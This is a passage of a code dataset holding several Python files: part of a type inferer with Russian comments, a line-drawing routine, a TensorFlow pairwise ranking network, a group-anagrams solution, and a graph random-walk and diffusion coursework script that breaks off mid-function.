аргументов. Один из вариантов решения: использовать паттерн\n # \"строитель\".\n self.not_part_of_global = not_part_of_global\n\n self.expression = expression\n\n self.do_use_local_inferer = do_use_local_inferer\n self.local_inferer = local_inferer\n\n self.left_wrapper = left_wrapper\n self.right_wrapper = right_wrapper\n\n self.is_first_local_constraint = is_first_local_constraint\n self.args = args\n self.replace_right_globals = replace_right_globals\n\n # Определение текущего вывода типов.\n if self.do_use_local_inferer:\n if self.local_inferer is None:\n # Это тождество параметрических типов, необходимо создать новый локальные вывод типов.\n # Оно также является первым локальным.\n self.is_first_local_constraint = True\n self.local_inferer = LocalTypeInferer(self)\n\n self.cur_inferer = self.local_inferer\n else:\n self.cur_inferer = GlobalTypeInferer()\n\n self.is_converted_to_simple_constraints = False\n self.param_to_simple_constraints()\n\n def param_to_simple_constraints(self):\n \"\"\"\n Преобразует тождество из двух параметрических типов в тождества каждых соответствующих типов параметров.\n \"\"\"\n if is_param_t(self.left) and is_param_t(self.right):\n # Если оба типа являются параметрическими, то добавить в текущий вывод типов тождества каждых\n # соответствующих типов-параметров.\n for p_left, p_right, arg in zip_longest(self.left.params, self.right.params, self.args):\n if arg is not None:\n replace_right_globals = arg.is_const_fun()\n else:\n replace_right_globals = self.replace_right_globals\n\n constraint = Constraint(TypeWrapper(p_left), TypeWrapper(p_right), self.expression,\n do_use_local_inferer=self.do_use_local_inferer, local_inferer=self.cur_inferer,\n not_part_of_global=not self.is_first_local_constraint,\n replace_right_globals=replace_right_globals)\n\n self.cur_inferer.constraints.append(constraint)\n\n self.is_converted_to_simple_constraints = True\n\n def unify(self):\n if not self.left.is_compatible(self.right):\n name_setter = PolymorphTypeNameSetter()\n name_setter.visit(self.left)\n name_setter.visit(self.right)\n\n raise TypesNotCompatibleException(self.left, self.right, self.expression.position)\n\n if self.do_use_local_inferer and self.is_first_local_constraint:\n # Это первое тождество с локальным выводом типов, значит необходимо провести этот вывод.\n # Может сложиться такая ситуация, что is_first_local_constraint == True, а текущий вывод типов является\n # глобальным, поэтому необходимо также проверить на то, используется ли именно локальный вывод типов,\n # иначе в некоторых случаях будет бесконечная рекурсия (например: let f = fun(f) -> {f(f(x))}).\n self.cur_inferer.infer()\n elif not (is_param_t(self.left) and is_param_t(self.right)):\n original, new = self.get_original_and_new()\n self.cur_inferer.replace_type(original, new)\n\n def get_original_and_new(self):\n \"\"\" Возвращает кортеж из двух типов, первый из которых будет заменен на второй \"\"\"\n # Этот метод будет вызван только в случае если оба типа полиморфны или один полиморфный, а другой - простой или\n # параметрический.\n if is_polymorph_t(self.left):\n # Если левый является полиморфным, то он будет заменен первым.\n return self.left, self.right\n else:\n # Иначе полиморфным является правый или они оба полиморфны и порядок замены не имеет значения.\n return self.right, self.left\n\n def get_left(self):\n return self.left_wrapper.type\n\n def set_left(self, t):\n self.left_wrapper.type = t\n\n def set_right(self, t):\n self.right_wrapper.type = t\n\n def get_right(self):\n return self.right_wrapper.type\n\n def dump(self, ns: PolymorphTypeNameSetter) -> str:\n ns.visit(self.left)\n ns.visit(self.right)\n\n expr = self.expression.__class__.__name__\n\n if hasattr(self.expression, 'name'):\n expr += f\" '{self.expression.name}'\"\n elif hasattr(self.expression, 'fun') and hasattr(self.expression.fun, 'let'):\n expr += f\" '{self.expression.fun.let.name}'\"\n\n return f'line {self.expression.position} {\"*\" if self.do_use_local_inferer else \"\"} {expr}\\n\\t{self.left} =' \\\n f'{self.right} '\n\n left = property(get_left, set_left)\n right = property(get_right, set_right)\n","sub_path":"semantic/typing/inferer.py","file_name":"inferer.py","file_ext":"py","file_size_in_byte":12274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"61915677","text":"from display import *\nfrom matrix import *\n\n\n#Go through matrix 2 entries at a time and call\n#draw_line on each pair of ponts\ndef draw_lines( matrix, screen, color ):\n i = 0\n while i in range(len(matrix)):\n one = matrix[i]\n two = matrix[i+1]\n draw_line(screen, one[0], one[1], two[0], two[1], color)\n i+=2\n\n#Add the edge (x0, y0, z0) - (x1, y1, z1) to matrix\ndef add_edge( matrix, x0, y0, z0, x1, y1, z1 ):\n add_point(matrix, x0, y0, z0)\n add_point(matrix, x1, y1, z1)\n\n#Add the point (x, y, z) to matrix\ndef add_point( matrix, x, y, z=0 ):\n matrix.append([x, y, z, 1])\n \n#Plot all the pixels needed to draw line (x0, y0) - (x1, y1)\n#to screen with color\ndef draw_line( screen, x0, y0, x1, y1, color ):\n\n if x0 < x1:\n xi = x0\n yi = y0\n xf = x1\n yf = y1\n else:\n xi = x1\n yi = y1\n xf = x0\n yf = y0\n dx = xf - xi\n dy = yf - yi\n if dx==0:\n m = \"undefined\"\n else:\n m = dy/dx\n A = 2*dy\n B = -2*dx\n\n #Octant 1 \n if m >= 0 and m <= 1:\n d = A + B/2\n \n while (xi<=xf):\n plot(screen, color, xi, yi)\n if (d>=0):\n yi+=1\n d+=B\n xi+=1\n d+=A\n\n #Octant 2\n elif m > 1 or m == \"undefined\":\n d = A/2 + B\n\n while (yi<=yf):\n plot(screen, color, xi, yi)\n if (d<=0):\n xi+=1\n d+=A\n yi+=1\n d+=B\n\n #Octant 3\n elif m < -1:\n d = A/2 - B\n\n while (yi>=yf):\n plot(screen, color, xi, yi)\n if (d<=0):\n xi+=1\n d+=A\n yi-=1\n d-=B\n \n #Octant 4\n elif m < 0 and m >= -1:\n d = A - B/2\n\n while(xi<=xf):\n plot(screen, color, xi, yi)\n if (d>=0):\n yi-=1\n d-=B\n xi+=1\n d+=A\n \n\n","sub_path":"graphics/line/8/eric_wong/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"404820986","text":"\r\nimport tensorflow as tf\r\nfrom ndcg2 import *\r\nimport seaborn as sb\r\nfrom util import *\r\n#\r\n# train datasets\r\nfeatures_file = \"train_features.csv\"\r\nys = \"train_y.csv\"\r\nprint(\"Opening training data\")\r\ntotal, df_y, features = get_data(features_file, ys)\r\n\r\n# GLOBALS\r\nLEARN_RATE = 0.000005\r\nEPOCHS = 3600\r\n\r\nNUM_ROWS = len(features) # number of rows in the dataset\r\nNUM_FEATURES = len(features[0]) # number of columns\r\nNUM_STATES = NUM_FEATURES\r\n\r\nBATCH_SIZE = 256\r\nHIDDEN_ZERO = 16 # first hidden layer\r\nN_HIDDEN = 12 # second hidden layer\r\nN_HIDDEN_2 = 6 # third hidden layer\r\nlogs_path = './tmp/' # tensorboard repo\r\nDIST_MIN = -0.0001 # min initialized value\r\nDIST_MAX = 0.0001 # max initialized value\r\nSAVE = True # save the model\r\nMODEL_LOC = './compNN' # model location\r\nMODEL_META = './compNN.meta' # model meta location\r\n\r\nVALI = True # validation data\r\nTEST = True # test data\r\nSAVE_FILE = True # save outcome files (ndcg)\r\n\r\ntf.reset_default_graph() # clear previous model\r\n\r\n\r\ndef get_batch(i, num_rows=NUM_ROWS, df=total, batch_size=BATCH_SIZE, end_epoch=False):\r\n \"\"\"\r\n Returns\r\n i... pointer to where in the data we finished\r\n new_list... batch, x part (= features)\r\n new_y... batch, y part (= labels)\r\n end_epoch... True if end of input file reached\r\n\r\n Takes only those pairs that do not have the same label\r\n all pairs of identical labels skipped\r\n\r\n Only pairs with the same query_id are considered\r\n \"\"\"\r\n\r\n new_list = []\r\n new_y = []\r\n m = i\r\n counter = 0 # we need batch_size number of examples\r\n\r\n feature1 = []\r\n feature2 = []\r\n\r\n features = total[:,0:-2]\r\n df_y = total[:,-2:]\r\n\r\n while counter < batch_size:\r\n if m >= (num_rows-1):\r\n m = 0\r\n i = 0\r\n end_epoch = True\r\n if df_y[m, 1] == df_y[m+1, 1]:\r\n temp = np.concatenate((features[m],features[m+1]),axis=0)\r\n if df_y[m][0] > df_y[m+1][0]:\r\n temp_y = np.asarray([1,0])\r\n counter += 1\r\n new_list.append(temp)\r\n new_y.append(temp_y)\r\n feature1.append(features[m])\r\n feature2.append(features[m+1])\r\n if df_y[m][0] < df_y[m+1][0]:\r\n temp_y = np.asarray([0,1])\r\n counter += 1\r\n new_list.append(temp)\r\n new_y.append(temp_y)\r\n feature1.append(features[m])\r\n feature2.append(features[m+1])\r\n m += 1\r\n i = m\r\n return i, new_list, new_y, end_epoch, feature1, feature2\r\n\r\n\r\n#######################################################################################\r\n# create computational graph\r\n\r\ndef experiement(total, df_y, features, total_vali, df_y_vali, features_vali, total_test, df_y_test, features_test):\r\n input_x = tf.placeholder('float',[None, NUM_FEATURES])\r\n input_y = tf.placeholder('float', [None, NUM_FEATURES])\r\n\r\n t = tf.placeholder('float',[None, 2]) # the true relevance level\r\n\r\n ###### layer zero\r\n w_x_not = tf.Variable(tf.random_uniform(shape=[NUM_FEATURES, HIDDEN_ZERO], minval= -0.0001, maxval=0.0001, dtype=tf.float32))\r\n w_y_not = tf.Variable(tf.random_uniform(shape=[NUM_FEATURES, HIDDEN_ZERO], minval=-0.0001, maxval=0.0001,dtype= tf.float32))\r\n b_not = tf.Variable(tf.random_uniform(shape=[HIDDEN_ZERO], minval=-0.0001, maxval=0.0001,dtype=tf.float32))\r\n\r\n #######################\r\n # third layer\r\n w_x = tf.Variable(tf.random_uniform(shape=[HIDDEN_ZERO, N_HIDDEN], minval = -0.0001, maxval=0.0001, dtype=tf.float32)) # shape=[NUM_FEATURES, N_HIDDEN]\r\n w_y = tf.Variable(tf.random_uniform(shape=[HIDDEN_ZERO, N_HIDDEN], minval=-0.0001, maxval=0.0001, dtype=tf.float32)) # shape=[NUM_FEATURES, N_HIDDEN]\r\n\r\n w_x_2 = tf.Variable(tf.random_uniform(shape=[N_HIDDEN,N_HIDDEN_2],minval=-0.0001, maxval=0.0001, dtype=tf.float32))\r\n w_y_2 = tf.Variable(tf.random_uniform(shape=[N_HIDDEN,N_HIDDEN_2], minval=-0.0001,maxval=0.0001, dtype=tf.float32))\r\n\r\n b = tf.Variable(tf.random_uniform(shape=[N_HIDDEN], minval=-0.0001, maxval=0.0001, dtype=tf.float32))\r\n b2 = tf.Variable(tf.random_uniform(shape=[N_HIDDEN_2], minval=-0.0001, maxval=0.0001, dtype=tf.float32))\r\n\r\n w_x_3 = tf.Variable(tf.random_uniform(shape=[N_HIDDEN_2,2], minval=-0.0001, maxval=0.0001,dtype=tf.float32))\r\n w_y_3 = tf.Variable(tf.random_uniform(shape=[N_HIDDEN_2,2], minval=-0.0001, maxval=0.0001, dtype=tf.float32))\r\n\r\n b3 = tf.Variable(tf.random_uniform(shape=[2],minval=-0.0001,maxval=0.0001,dtype=tf.float32))\r\n\r\n not_x = tf.matmul(input_x,w_x_not)\r\n not_y = tf.matmul(input_y,w_y_not)\r\n\r\n not_hidden = tf.add(not_x, not_y)\r\n not_out = tf.add(not_hidden,b_not)\r\n\r\n hidden_x = tf.matmul(not_out, w_x) # input_x\r\n hidden_y = tf.matmul(not_out, w_y) # input_y\r\n hidden = tf.add(hidden_x, hidden_y)\r\n h = tf.add(hidden,b)\r\n\r\n hidd2_x = tf.matmul(h,w_x_2)\r\n hidd2_y = tf.matmul(h,w_y_2)\r\n hidd2 = tf.add(tf.add(hidd2_x,hidd2_y),b2)\r\n\r\n hidd3_x = tf.matmul(hidd2,w_x_3)\r\n hidd3_y = tf.matmul(hidd2,w_y_3)\r\n\r\n hidd3 = tf.add(tf.add(hidd3_x,hidd3_y),b3)\r\n\r\n # activation functions\r\n outputs = tf.sigmoid(hidd3)\r\n #outputs = tf.nn.relu(hidd3)\r\n #outputs = tf.tanh(hidd3)\r\n\r\n predictions = tf.argmax(outputs, axis=1) # scalar: 1 or 0\r\n\r\n pred_hot = tf.one_hot(indices=[predictions], depth=2)\r\n\r\n # loss = tf.losses.mean_squared_error(y, outputs) # tensorflow 1.0\r\n after_drop = tf.nn.dropout(outputs,0.5)\r\n\r\n loss = 0.5*tf.reduce_mean(tf.square(t-outputs)) # where t is the truth\r\n\r\n train_operation = tf.train.AdamOptimizer(LEARN_RATE).minimize(loss)\r\n ############################################################################\r\n losses = []\r\n precisions = []\r\n ap = []\r\n ndcg10 = []\r\n\r\n all_vali_loss = []\r\n all_test_loss = []\r\n all_vali_ndcg = []\r\n all_test_ndcg = []\r\n\r\n validation_loss = []\r\n validation_prec = []\r\n validation_ndcg = []\r\n\r\n all_vali_ap = []\r\n all_test_ap = []\r\n\r\n\r\n # saver = tf.train.Saver() # to finish: saving\r\n session = tf.Session()\r\n session_conf = tf.ConfigProto()\r\n session_conf.gpu_options.allow_growth = True\r\n\r\n # set up tensorboard\r\n tf.summary.scalar(\"loss\", loss)\r\n #tf.summary.scalar(\"precision\", precision) # TENSORBOARD\r\n #summary_op = tf.summary.merge_all()\r\n\r\n saver = tf.train.Saver() # initialize a saver\r\n\r\n with tf.Session(config=session_conf) as sess:\r\n tf.global_variables_initializer().run()\r\n # create log writer\r\n writer = tf.summary.FileWriter(logs_path, graph=tf.get_default_graph())\r\n\r\n for ep in range(EPOCHS):\r\n print(\"epoch \", ep)\r\n np.random.shuffle(total) # shuffle total\r\n end_epoch = False\r\n i = 0\r\n count = 0\r\n while not end_epoch:\r\n i, batch_x, c_y, end_epoch,feature1, feature2 = get_batch(i, df=total,end_epoch=end_epoch)\r\n\r\n c_y = np.asarray(c_y)\r\n batch_x = np.reshape(batch_x,(BATCH_SIZE,2*NUM_FEATURES))\r\n\r\n sess.run(train_operation, feed_dict={input_x: feature1, input_y: feature2, t: c_y})\r\n loss_run = sess.run(loss, feed_dict={input_x: feature1, input_y: feature2, t: c_y})\r\n\r\n #summary = sess.run(summary_op, feed_dict={x: batch_x, y:c_y}) # TENSORBOARD\r\n #writer.add_summary(summary, ep*BATCH_SIZE+count)\r\n\r\n out = sess.run(outputs, feed_dict={input_x: feature1, input_y: feature2, t:c_y})\r\n\r\n losses.append(loss_run)\r\n\r\n # precision\r\n m = average_precision_score(np.argmax(c_y,axis=1),np.argmax(out,axis=1))\r\n row_prec = []\r\n for b in range(1,11): # for @n, n=[1,10]\r\n temp = average_precision_score(np.argmax(c_y[0:b],axis=1),np.argmax(out[0:b],axis=1))\r\n row_prec.append(temp)\r\n ap.append(row_prec)\r\n\r\n # NDCG CALCULATION\r\n row_ndcg = []\r\n for current_n in range(1,11): # we need n=1,...,10\r\n n = ndcg_at_k(np.argmax(out,axis=1),current_n)\r\n row_ndcg.append(n)\r\n ndcg10.append(row_ndcg)\r\n\r\n count += 1\r\n\r\n # every 5 epochs\r\n if VALI and ep % 10 == 0 and ep > 9:\r\n np.random.shuffle(total_vali)\r\n # apply to validation set:\r\n print(\"validation\")\r\n i_vali, new_x_vali, new_y_vali, end_epoch_vali, feature1_vali, feature2_vali = get_batch(i=0, num_rows=len(total_vali), df=total_vali, batch_size=5000, end_epoch=False)\r\n losses_val, out_vali = sess.run([loss, outputs],feed_dict = {input_x: feature1_vali, input_y: feature2_vali, t:new_y_vali})\r\n # ndcg\r\n row_vali_ndcg = []\r\n for current_n in range(1,11): # we need n=1,...,10\r\n n = ndcg_at_k(np.argmax(out_vali,axis=1),current_n)\r\n row_vali_ndcg.append(n)\r\n all_vali_ndcg.append(row_vali_ndcg)\r\n # precision\r\n row_prec_v = []\r\n for b in range(1,11): # for @n, n=[1,10]\r\n temp_v = average_precision_score(np.argmax(new_y_vali[0:b],axis=1),np.argmax(out_vali[0:b],axis=1))\r\n row_prec_v.append(temp_v)\r\n all_vali_ap.append(row_prec_v)\r\n all_vali_loss.append(losses_val)\r\n print(\"validation loss\", losses_val)\r\n print(\"validation finished\")\r\n\r\n # every 5 epochs\r\n if TEST and ep%10 == 0 and ep > 9:\r\n np.random.shuffle(total_test)\r\n print(\"testing\")\r\n # shuffle total_test\r\n i_test, new_x_test, new_y_test, end_epoch_test, feature1_test, feature2_test = get_batch(i=0, num_rows=len(total_test), df=total_test, batch_size=5000, end_epoch=False)\r\n losses_test, out_test = sess.run([loss, outputs], feed_dict={input_x: feature1_test, input_y: feature2_test, t:new_y_test})\r\n # ndcg\r\n row_ndcg = []\r\n for current_n in range(1,11): # we need n=1,...,10\r\n n = ndcg_at_k(np.argmax(out_test,axis=1),current_n)\r\n row_ndcg.append(n)\r\n all_test_ndcg.append(row_ndcg)\r\n all_test_loss.append(losses_test)\r\n # precision\r\n row_prec_t = []\r\n for b in range(1,11): # for @n, n=[1,10]\r\n temp_t = average_precision_score(np.argmax(new_y_test[0:b],axis=1),np.argmax(out_test[0:b],axis=1))\r\n row_prec_t.append(temp_t)\r\n all_test_ap.append(row_prec_t)\r\n print(\"test loss\", losses_test)\r\n print(\"testing finished\")\r\n # this is not part of the session. Session closed already.\r\n if SAVE:\r\n print(\"saving trained model\",MODEL_LOC)\r\n saver.save(sess, MODEL_LOC)\r\n\r\n return losses, ap, ndcg10, all_vali_loss, all_vali_ndcg, all_test_loss, all_test_ndcg, all_vali_ap, all_test_ap\r\n\r\n\r\nif VALI:\r\n # open validation data\r\n features_file_vali = \"vali_features.csv\"\r\n ys_vali = \"vali_y.csv\"\r\n print(\"Opening validation data\")\r\n total_vali, df_y_vali, features_vali = get_data(features_file_vali, ys_vali)\r\nif TEST:\r\n # open test data\r\n features_file_test = \"test_features.csv\"\r\n ys_test = \"test_y.csv\"\r\n print(\"Opening test data\")\r\n total_test, df_y_test, features_test = get_data(features_file_test, ys_test)\r\n\r\nlosses, ap, ndcg10, vali_losses, vali_ndcg10, test_losses, test_ndcg10, vali_ap, test_ap = experiement(total, df_y, features, total_vali, df_y_vali, features_vali, total_test, df_y_test, features_test)\r\n\r\nplot_array(losses, \"loss\")\r\nplot_array(ap, \"precision\", mult=True)\r\nplot_array(ndcg10, \"ndcg@10\", mult=True)\r\n\r\nif VALI:\r\n # validation\r\n plot_array(vali_losses, \"validation loss\")\r\n plot_array(vali_ndcg10, \"ndcg10 validation\",mult=True)\r\n plot_array(vali_ap, \"validation precision\",mult=True)\r\nif TEST:\r\n # test\r\n plot_array(test_losses, \"test loss\")\r\n plot_array(test_ndcg10, \"ndcg10 test\", mult=True)\r\n plot_array(test_ap, \"test precision\", mult=True)\r\n\r\n\r\nif SAVE_FILE:\r\n #\r\n write_file(losses,\"./results3/loss_train.csv\")\r\n write_file(ap,\"./results3/precision_train.csv\")\r\n write_file(ndcg10, \"./results3/ndcg10_train.csv\")\r\n #\r\n if VALI:\r\n # validation files\r\n write_file(vali_losses,\"./results3/vali_loss.csv\")\r\n write_file(vali_ndcg10, \"./results3/vali_ndcg.csv\")\r\n write_file(vali_ap, \"./results3/vali_ap.csv\")\r\n if TEST:\r\n # test files\r\n write_file(test_losses, \"./results3/test_loss.csv\")\r\n write_file(test_ndcg10, \"./results3/test_ndcg.csv\")\r\n write_file(test_ap, \"./results3/test_ap.csv\")\r\n\r\nprint(\"Script finished.\")\r\n","sub_path":"MS/models/cmpNN3.py","file_name":"cmpNN3.py","file_ext":"py","file_size_in_byte":13048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"138700255","text":"# Given an array of strings, group anagrams together.\n#\n# Example:\n#\n# Input: [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"],\n# Output:\n# [\n# [\"ate\",\"eat\",\"tea\"],\n# [\"nat\",\"tan\"],\n# [\"bat\"]\n# ]\n# Note:\n#\n# All inputs will be in lowercase.\n# The order of your output does not matter.\n\nclass Solution:\n def groupAnagrams(self, strs):\n \"\"\"\n :type strs: List[str]\n :rtype: List[List[str]]\n \"\"\"\n hash_map={}\n for word in strs:\n hash_key=\"\".join(sorted(word))\n hash_map[hash_key]=[word] if hash_key not in hash_map else hash_map[hash_key]+[word]\n res=[]\n for item in hash_map:\n res.append(hash_map[item])\n return res","sub_path":"src/49_Group_Anagrams.py","file_name":"49_Group_Anagrams.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"218260229","text":"\"\"\"Scientific Computation Project 2, part 2\nYour CID here:01365348\n\"\"\"\nimport numpy as np\nimport networkx as nx\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\nimport scipy as sp\n\n\n\ndef rwgraph(G,i0=0,M=100,Nt=100):\n \"\"\" Question 2.1\n Simulate M Nt-step random walks on input graph, G, with all\n walkers starting at node i0\n Input:\n G: An undirected, unweighted NetworkX graph\n i0: intial node for all walks\n M: Number of walks\n Nt: Number of steps per walk\n Output: X: M x Nt+1 array containing the simulated trajectories\n \"\"\"\n\n #matrix for X which stores the ndoes\n X = np.zeros((M,Nt+1),dtype=np.int)\n #set the starting node to equal i0\n X[:,0]=i0\n #iterate through M simulations\n for i in range(M):\n v=i0\n #iterate through Nt steps\n for k in range(Nt):\n #get the list of neighbours of v\n adj=list(G.adj[v])\n #choose a random neighbour\n v=np.random.choice(adj)\n #add the neighbour to matrix X\n X[i][k+1]=v\n return X\n \n\n \ndef rwgraph_analyze1(graph):\n \"\"\"Analyze simulated random walks on\n Barabasi-Albert graphs.\n Modify input and output as needed.\n \"\"\"\n #values to go through for M\n M=[100,200,300,500,1000,6000]\n #values to go through for Nt\n Nt=[100,250,350,550,1500,2500]\n #calculate the maximum node\n maxnode=max(graph.degree, key=lambda x: x[1])[0]\n #plot for each value of M and Nt\n (fig,ax)=plt.subplots(2,3)\n nodeseq=rwgraph(graph,i0=maxnode,M=M[0],Nt=Nt[0])\n ax[0,0].hist(nodeseq[:,Nt[0]],bins=graph.number_of_nodes())\n ax[0,0].set_xlabel(\"Node number\",fontsize=15)\n ax[0,0].set_ylabel(\"Node frequency\",fontsize=15)\n ax[0,0].set_title(\"M=100, Nt=100\",fontsize=15)\n nodeseq=rwgraph(graph,i0=maxnode,M=M[1],Nt=Nt[1])\n ax[0,1].hist(nodeseq[:,Nt[1]],bins=graph.number_of_nodes())\n ax[0,1].set_xlabel(\"Node number\",fontsize=15)\n ax[0,1].set_ylabel(\"Node frequency\",fontsize=15)\n ax[0,1].set_title(\"M=200,Nt=250\",fontsize=15)\n nodeseq=rwgraph(graph,i0=maxnode,M=M[2],Nt=Nt[2])\n ax[0,2].hist(nodeseq[:,Nt[2]],bins=graph.number_of_nodes())\n ax[0,2].set_xlabel(\"Node number\",fontsize=15)\n ax[0,2].set_ylabel(\"Node frequency\",fontsize=15)\n ax[0,2].set_title(\"M=300,Nt=350\",fontsize=15)\n nodeseq=rwgraph(graph,i0=maxnode,M=M[3],Nt=Nt[3],)\n ax[1,0].hist(nodeseq[:,Nt[3]],bins=graph.number_of_nodes())\n ax[1,0].set_xlabel(\"Node number\",fontsize=15)\n ax[1,0].set_ylabel(\"Node frequency\",fontsize=20)\n ax[1,0].set_title(\"M=500,Nt=550\",fontsize=15)\n nodeseq=rwgraph(graph,i0=maxnode,M=M[4],Nt=Nt[4])\n ax[1,1].hist(nodeseq[:,Nt[4]],bins=graph.number_of_nodes())\n ax[1,1].set_xlabel(\"Node number\",fontsize=15)\n ax[1,1].set_ylabel(\"Node frequency\",fontsize=15)\n ax[1,1].set_title(\"M=1000,Nt=1500\",fontsize=15)\n nodeseq=rwgraph(graph,i0=maxnode,M=M[5],Nt=Nt[5])\n ax[1,2].hist(nodeseq[:,Nt[5]],bins=graph.number_of_nodes())\n ax[1,2].set_xlabel(\"Node number\",fontsize=15)\n ax[1,2].set_ylabel(\"Node frequency\",fontsize=15)\n ax[1,2].set_title(\"M=6000,Nt=2500\",fontsize=15)\n \n\ndef rwgraph_analyze2(graph):\n \"\"\"Analyze simulated random walks on\n Barabasi-Albert graphs.\n Modify input and output as needed.\n \"\"\"\n #calculate the maximum node\n maxnode=max(graph.degree, key=lambda x: x[1])[0]\n #calculate a 15 3000-steps random walk\n nodeseq=rwgraph(graph,i0=maxnode, M=15,Nt=3000)\n #get the list of degrees for the 4th, 7th and 15th iteration\n list_degrees1=sorted([graph.degree[i] for i in nodeseq[3,:]])\n list_degrees2=sorted([graph.degree[i] for i in nodeseq[7,:]])\n list_degrees3=sorted([graph.degree[i] for i in nodeseq[14,:]])\n #plot the degrees on the x axis and the frequency on the y axis\n (fig,ax)=plt.subplots(1,3)\n ax[0].hist(list_degrees1,bins=sorted(np.array(list(set(list_degrees1)))))\n ax[0].set_xlabel(\"Degree\",fontsize=20)\n ax[0].set_ylabel(\"Frequency\",fontsize=20)\n ax[0].set_title(\"4th simulation\",fontsize=20)\n ax[1].hist(list_degrees2,bins=sorted(np.array(list(set(list_degrees2)))))\n ax[1].set_xlabel(\"Degree\",fontsize=20)\n ax[1].set_ylabel(\"Frequency\",fontsize=20)\n ax[1].set_title(\"8th simulation\",fontsize=20)\n ax[2].hist(list_degrees3,bins=sorted(np.array(list(set(list_degrees3)))))\n ax[2].set_xlabel(\"Degree\",fontsize=20)\n ax[2].set_ylabel(\"Frequency\",fontsize=20)\n ax[2].set_title(\"15th simulation\",fontsize=20)\n\n\ndef linear_diffusion(G,tf=5,Nt=2000,i0=0.1):\n '''\n Calculate the solution for the linear diffusion\n '''\n #number of nodes of the graph\n N = G.number_of_nodes()\n #list of degrees for each node\n degree=[degree for node,degree in G.degree()]\n #calculate the maximum degree\n maxnode=max(G.degree, key=lambda x: x[1])[0]\n #get the adjacency matrix of the graph\n A = nx.adj_matrix(G)\n A = A.todense()\n A = np.array(A, dtype = np.float64)\n #diagonal matrix with diagonal entries as the degree of the node\n D = np.diag(degree)\n #laplacian matrix\n L=D-A\n #initial condition vector\n ini_cond=np.zeros(N)\n #set the magnitude for the initial node\n ini_cond[maxnode]=i0\n #scaled laplacian matrix\n L_s=np.identity(N)-np.matmul(np.linalg.inv(D),A)\n #transpose of the scaled laplacian\n L_s_t=np.transpose(L_s)\n #calculate the solution at time =5\n expL=np.matmul(sp.linalg.expm(-5*L),ini_cond)\n expL_s=np.matmul(sp.linalg.expm(-5*L_s),ini_cond)\n explL_s_t=np.matmul(sp.linalg.expm(-5*L_s_t),ini_cond)\n solL=expL\n solL_s=expL_s\n solL_s_t=explL_s_t\n \n #plot the solution as a function of node\n fig1=plt.figure(figsize=(20,10))\n \n plt.title(\"Solution for Laplacian L with t=5\",fontsize=20)\n plt.xlabel(\"Node label\",fontsize=20)\n plt.ylabel(\"Solution\",fontsize=20)\n plt.plot(range(N),solL)\n fig1.show()\n \n fig2=plt.figure(figsize=(20,10))\n plt.plot(range(N),solL_s)\n plt.title(\"Solution for Scaled Laplacian L with t=5\",fontsize=20)\n plt.xlabel(\"Node label\",fontsize=20)\n plt.ylabel(\"Solution\",fontsize=20)\n fig2.show()\n \n fig3=plt.figure(figsize=(20,10))\n plt.plot(range(N),solL_s_t)\n plt.title(\"Solution for Transposed Scaled Laplacian L with t=5\",fontsize=20)\n plt.xlabel(\"Node label\",fontsize=20)\n plt.ylabel(\"Solution\",fontsize=20)\n fig3.show()\n\ndef modelA(G,x=0,i0=0.1,beta=1.0,gamma=1.0,tf=5,Nt=1000):\n \"\"\"\n Question 2.2\n Simulate model A\n\n Input:\n G: Networkx graph\n x: node which is initially infected with i_x=i0\n i0: magnitude of initial condition\n beta,gamma: model parameters\n tf,Nt: Solutions are computed at Nt time steps from t=0 to t=tf (see code below)\n\n Output:\n iarray: N x Nt+1 Array containing i across network nodes at\n each time step.\n \"\"\"\n #number of nodes\n N = G.number_of_nodes()\n #solution i array\n iarray = np.zeros((N,Nt+1))\n #time array\n tarray = np.linspace(0,tf,Nt+1)\n #adjacency matrix of the graph\n A = nx.adj_matrix(G)\n A = A.todense()\n A = np.array(A, dtype = np.float64)\n #initial conditions of the graph\n initial_cond=np.zeros(N)\n initial_cond[x]=i0\n \n \n def RHSA(y,t):\n \"\"\"Compute RHS of modelA at time t\n input: y should be a size N array\n output: dy, also a size N array corresponding to dy/dt\n\n Discussion: add discussion here\n \"\"\"\n \n dy=-beta*y[0:N]+gamma*(np.ones(N)-y[0:N])*np.transpose(np.matmul(A,y[0:N]))\n \n return dy\n\n #final solution of the differential equation\n iarray=np.transpose(odeint(RHSA,initial_cond,tarray))\n \n return iarray\n\n\n\n\ndef modelB(G,x=0,i0=0.2,i1=0.2,tf=5,Nt=1000,alpha=1.0):\n \"\"\"\n Question 2.2\n Simulate model A\n\n Input:\n G: Networkx graph\n x: node which is initially infected with i_x=i0\n i0: magnitude of initial condition\n alpha: model parameters\n tf,2*Nt: Solutions are computed at Nt time steps from t=0 to t=tf (see code below)\n\n Output:\n iarray: 2*N x 2*Nt+1 Array containing i across network nodes at\n each time step.\n \"\"\"\n #number of nodes\n N = G.number_of_nodes()\n #solution i array\n iarray = np.zeros((2*N,Nt+1))\n #time array\n tarray = np.linspace(0,tf,Nt+1)\n #degree list for each node\n degree=[degree for node,degree in G.degree()]\n #adjacency matrix\n A = nx.adj_matrix(G)\n A = A.todense()\n A = np.array(A, dtype = np.float64)\n #diagonal matrix with diagonal entriea as the degree of the node\n D = np.diag(degree)\n #laplacian matrix\n L=D-A\n #initial conditions\n initial_cond=np.zeros((N,))\n initial_cond1=np.zeros((N,))\n initial_cond[x]=i0\n initial_cond1[x]=i1\n initial_cond=np.concatenate((initial_cond,initial_cond1))\n \n def RHSB(y,t):\n \"\"\"Compute RHS of modelA at time t\n input: y should be a size N array\n output: dy, also a size N array corresponding to dy/dt\n\n Discussion: add discussion here\n \"\"\"\n dy=np.concatenate((alpha*np.matmul(L,y[N:2*N]),y[0:N]))\n \n return dy\n\n\n iarray=np.transpose(odeint(RHSB,initial_cond,tarray))\n \n return iarray\n\ndef transport(graph,Nt=2000,tf=5,alpha=-0.01,beta=0.5,gamma=0.1):\n \"\"\"Analyze transport processes (model A, model B, linear diffusion)\n on Barabasi-Albert graphs.\n Modify input and output as needed.\n \"\"\"\n #maximum degree node\n maxnode=max(graph.degree, key=lambda x: x[1])[0]\n #solution from 